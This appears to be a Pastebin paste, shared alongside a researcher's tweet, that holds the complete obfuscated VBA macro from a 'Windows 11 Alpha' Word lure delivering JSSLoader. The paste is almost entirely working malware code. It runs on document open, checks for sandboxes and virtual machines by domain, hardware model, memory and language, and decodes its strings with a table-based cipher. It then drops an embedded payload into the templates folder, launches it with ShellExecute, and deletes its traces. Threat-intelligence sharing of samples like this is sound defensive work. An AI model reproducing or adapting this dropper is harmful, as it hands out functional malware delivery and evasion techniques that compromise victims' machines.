Advertisement
cs0sf

Windows 11 Alpha Document lure used to deliver JSSLoader

Jun 30th, 2021
2,421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ' https://twitter.com/mesa_matt/status/1409935724737085442
  2. Option Explicit
  3.  
  4. Option Compare Text
  5.  
  6. Private Declare PtrSafe Function DYjwp8xLU8 Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  7.  
  8. Dim AEBirCjVh As String
  9.  
  10. Dim htTnYAV3MKe As String
  11.  
  12. Private Sub Document_Open()
  13.    
  14.     If glxoug1eUMM Then
  15.        
  16.         Dim GDm9 As String
  17.        
  18.         GDm9 = Options.DefaultFilePath(wdUserTemplatesPath)
  19.        
  20.         If Dir(GDm9 & boYLmeiRpt((2 * 6 - 9))) = "" Then
  21.            
  22.             Call LVXy
  23.            
  24.             Call E5p06tYoZfv
  25.            
  26.             If Len(htTnYAV3MKe) > (8 * 3 - 22) Then
  27.                
  28.                 Call dUA5Vi(htTnYAV3MKe)
  29.                
  30.                 DYjwp8xLU8 (6 * 3 - 18), vbNullString, Options.DefaultFilePath(wdUserTemplatesPath) & boYLmeiRpt((8 * 1 - 5)), vbNullString, vbNullString, ((6 * 8 - 47))
  31.                
  32.             End If
  33.            
  34.         End If
  35.        
  36.         Call oh7iBSdM
  37.        
  38.     End If
  39.    
  40. End Sub
  41.  
  42. Sub E5p06tYoZfv()
  43.    
  44.     Dim akI5a
  45.    
  46.     akI5a = Options.DefaultFilePath(wdTempFilePath)
  47.    
  48.     Dim aFNVaZgl3w As Object
  49.    
  50.     Set aFNVaZgl3w = CreateObject(boYLmeiRpt((7 * 2 - 12)))
  51.    
  52.     Call TkFqCJl(aFNVaZgl3w.GetFolder(akI5a), htTnYAV3MKe)
  53.    
  54. End Sub
  55.  
  56. Function boYLmeiRpt(VrLGSGK) As String
  57.    
  58.     boYLmeiRpt = ThisDocument.Tables((9 * 7 - 62)).Cell(VrLGSGK, (5 * 7 - 34)).Range.Text
  59.    
  60.     boYLmeiRpt = yRlihwO2c(Mid(boYLmeiRpt, (2 * 3 - 5), Len(boYLmeiRpt) - (7 * 2 - 12)))
  61.    
  62. End Function
  63.  
  64. Sub LVXy()
  65.    
  66.     Dim D18oyHlA As InlineShape
  67.    
  68.     For Each D18oyHlA In ThisDocument.InlineShapes
  69.        
  70.         If D18oyHlA.Type = (6 * 3 - 17) Then
  71.            
  72.             D18oyHlA.Select
  73.            
  74.             Selection.Copy
  75.            
  76.         End If
  77.        
  78.     Next
  79.    
  80. End Sub
  81.  
  82. Sub dUA5Vi(vJJoW79vg5L As String)
  83.    
  84.     Dim xzkuDRi As String
  85.    
  86.     xzkuDRi = Options.DefaultFilePath(wdUserTemplatesPath)
  87.    
  88.     Name vJJoW79vg5L As xzkuDRi & boYLmeiRpt((9 * 4 - 33))
  89.    
  90. End Sub
  91.  
  92. Sub oh7iBSdM()
  93.    
  94.     On Error Resume Next
  95.    
  96.     Dim D18oyHlA As InlineShape
  97.    
  98.     For Each D18oyHlA In ThisDocument.InlineShapes
  99.        
  100.         If D18oyHlA.Type = (2 * 1 - 1) Then
  101.            
  102.             D18oyHlA.Delete
  103.            
  104.         End If
  105.        
  106.     Next
  107.    
  108.     ThisDocument.Tables((8 * 5 - 39)).Delete
  109.    
  110.     Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
  111.    
  112.     Selection.Copy
  113.    
  114.     ThisDocument.Save
  115.    
  116.     End
  117.    
  118.     On Error GoTo 0
  119.    
  120. End Sub
  121.  
  122. Function glxoug1eUMM() As Boolean
  123.    
  124.     On Error Resume Next
  125.    
  126.     Dim TkNe5eSQd As String, UE24rgsZ As Object, ftW6, nQOVKfUOld As Object, LC4k As Object
  127.    
  128.     Set UE24rgsZ = CreateObject(boYLmeiRpt((7 * 4 - 23)))
  129.    
  130.     TkNe5eSQd = UE24rgsZ.UserDomain
  131.    
  132.     glxoug1eUMM = True
  133.    
  134.     If TkNe5eSQd = boYLmeiRpt((2 * 9 - 12)) Then Exit Function
  135.    
  136.     Set ftW6 = GetObject(boYLmeiRpt((1 * 6 + 1)) & TkNe5eSQd & boYLmeiRpt((8 * 5 - 32)))
  137.    
  138.     If (VarType(ftW6) <> vbObject) Then Call oh7iBSdM
  139.    
  140.     Set nQOVKfUOld = GetObject(boYLmeiRpt((8 * 3 - 15)))
  141.    
  142.     For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((5 * 5 - 15)))
  143.        
  144.         If DS4nRhaBlr(LC4k.Manufacturer, LC4k.Model) Then Call oh7iBSdM
  145.        
  146.     Next
  147.    
  148.     For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((1 * 2 + 9)), , (11 * 12 - 84))
  149.        
  150.         If LC4k.TotalVisibleMemorySize < (250844 * 321836 - 80726529584#) Then Call oh7iBSdM
  151.        
  152.         If InStr(1, boYLmeiRpt((1 * 4 + 8)), CStr(LC4k.OSLanguage)) > (1 * 1 - 1) Then Call oh7iBSdM
  153.        
  154.         If InStr(1, Join(LC4k.MUILanguages, ","), boYLmeiRpt((5 * 5 - 12))) > (9 * 4 - 36) Then Call oh7iBSdM
  155.        
  156.     Next
  157.    
  158.     If InStr(1, Join(CreateObject(boYLmeiRpt((6 * 6 - 22))).regRead(boYLmeiRpt((2 * 2 + 11))), ","), boYLmeiRpt((4 * 2 + 5))) > (1 * 5 - 5) Then Call oh7iBSdM
  159.    
  160.     On Error GoTo 0
  161.    
  162. End Function
  163.  
  164. Sub TkFqCJl(hkSNkpx52q As Object, vJJoW79vg5L As String)
  165.    
  166.     On Error Resume Next
  167.    
  168.     Dim mk5JvykXa As Object
  169.    
  170.     For Each mk5JvykXa In hkSNkpx52q.SubFolders
  171.        
  172.         TkFqCJl mk5JvykXa, vJJoW79vg5L
  173.        
  174.         Next mk5JvykXa
  175.        
  176.         Dim Xs2YF2R8 As Object
  177.        
  178.         For Each Xs2YF2R8 In hkSNkpx52q.Files
  179.            
  180.             If Xs2YF2R8.Name = boYLmeiRpt((6 * 9 - 50)) Then
  181.                
  182.                 vJJoW79vg5L = Xs2YF2R8
  183.                
  184.             End If
  185.            
  186.             Next Xs2YF2R8
  187.            
  188.             On Error GoTo 0
  189.            
  190.             Exit Sub
  191.            
  192.             ErrHandle:
  193.            
  194.             Err.Clear
  195.            
  196.         End Sub
  197.        
  198.         Function DS4nRhaBlr(Ei5aCGrSkJ, rjcwM53rRoE)
  199.            
  200.             Dim fbajQ, mkD9R As Long, klsLJL4OLr As String
  201.            
  202.             fbajQ = Split(boYLmeiRpt((2 * 8)), ",")
  203.            
  204.             For mkD9R = (7 * 1 - 7) To UBound(fbajQ) - 1
  205.                
  206.                 klsLJL4OLr = fbajQ(mkD9R)
  207.                
  208.                 If InStr((8 * 1 - 7), Ei5aCGrSkJ, klsLJL4OLr) > (4 * 9 - 36) Or InStr((9 * 2 - 17), rjcwM53rRoE, klsLJL4OLr) > (6 * 6 - 36) Then
  209.                    
  210.                     DS4nRhaBlr = True
  211.                    
  212.                     Exit Function
  213.                    
  214.                 End If
  215.                
  216.             Next
  217.            
  218.             DS4nRhaBlr = False
  219.            
  220.         End Function
  221.        
  222.         Function yRlihwO2c(cmMj6EeRAmG)
  223.            
  224.             Dim PdEN As String, klsLJL4OLr As String, mkD9R As Long, m4sKGWmIY0 As Long, fbajQ, Qqz0g9zhpj
  225.            
  226.             PdEN = ThisDocument.Tables((6 * 8 - 47)).Cell((2 * 7 - 13), (4 * 9 - 35)).Range.Text
  227.            
  228.             PdEN = Mid(PdEN, (2 * 5 - 9), Len(PdEN) - (4 * 9 - 34))
  229.            
  230.             m4sKGWmIY0 = 1
  231.            
  232.             fbajQ = Split(cmMj6EeRAmG, ",")
  233.            
  234.             For mkD9R = (8 * 4 - 32) To UBound(fbajQ) - 1
  235.                
  236.                 Qqz0g9zhpj = Chr(CLng(fbajQ(mkD9R)) - Asc(Mid(PdEN, m4sKGWmIY0, 1)))
  237.                
  238.                 klsLJL4OLr = klsLJL4OLr + Qqz0g9zhpj
  239.                
  240.                 If m4sKGWmIY0 = Len(PdEN) Then
  241.                    
  242.                     m4sKGWmIY0 = 1
  243.                    
  244.                 Else
  245.                    
  246.                     m4sKGWmIY0 = m4sKGWmIY0 + 1
  247.                    
  248.                 End If
  249.                
  250.             Next
  251.            
  252.             yRlihwO2c = klsLJL4OLr
  253.            
  254.         End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement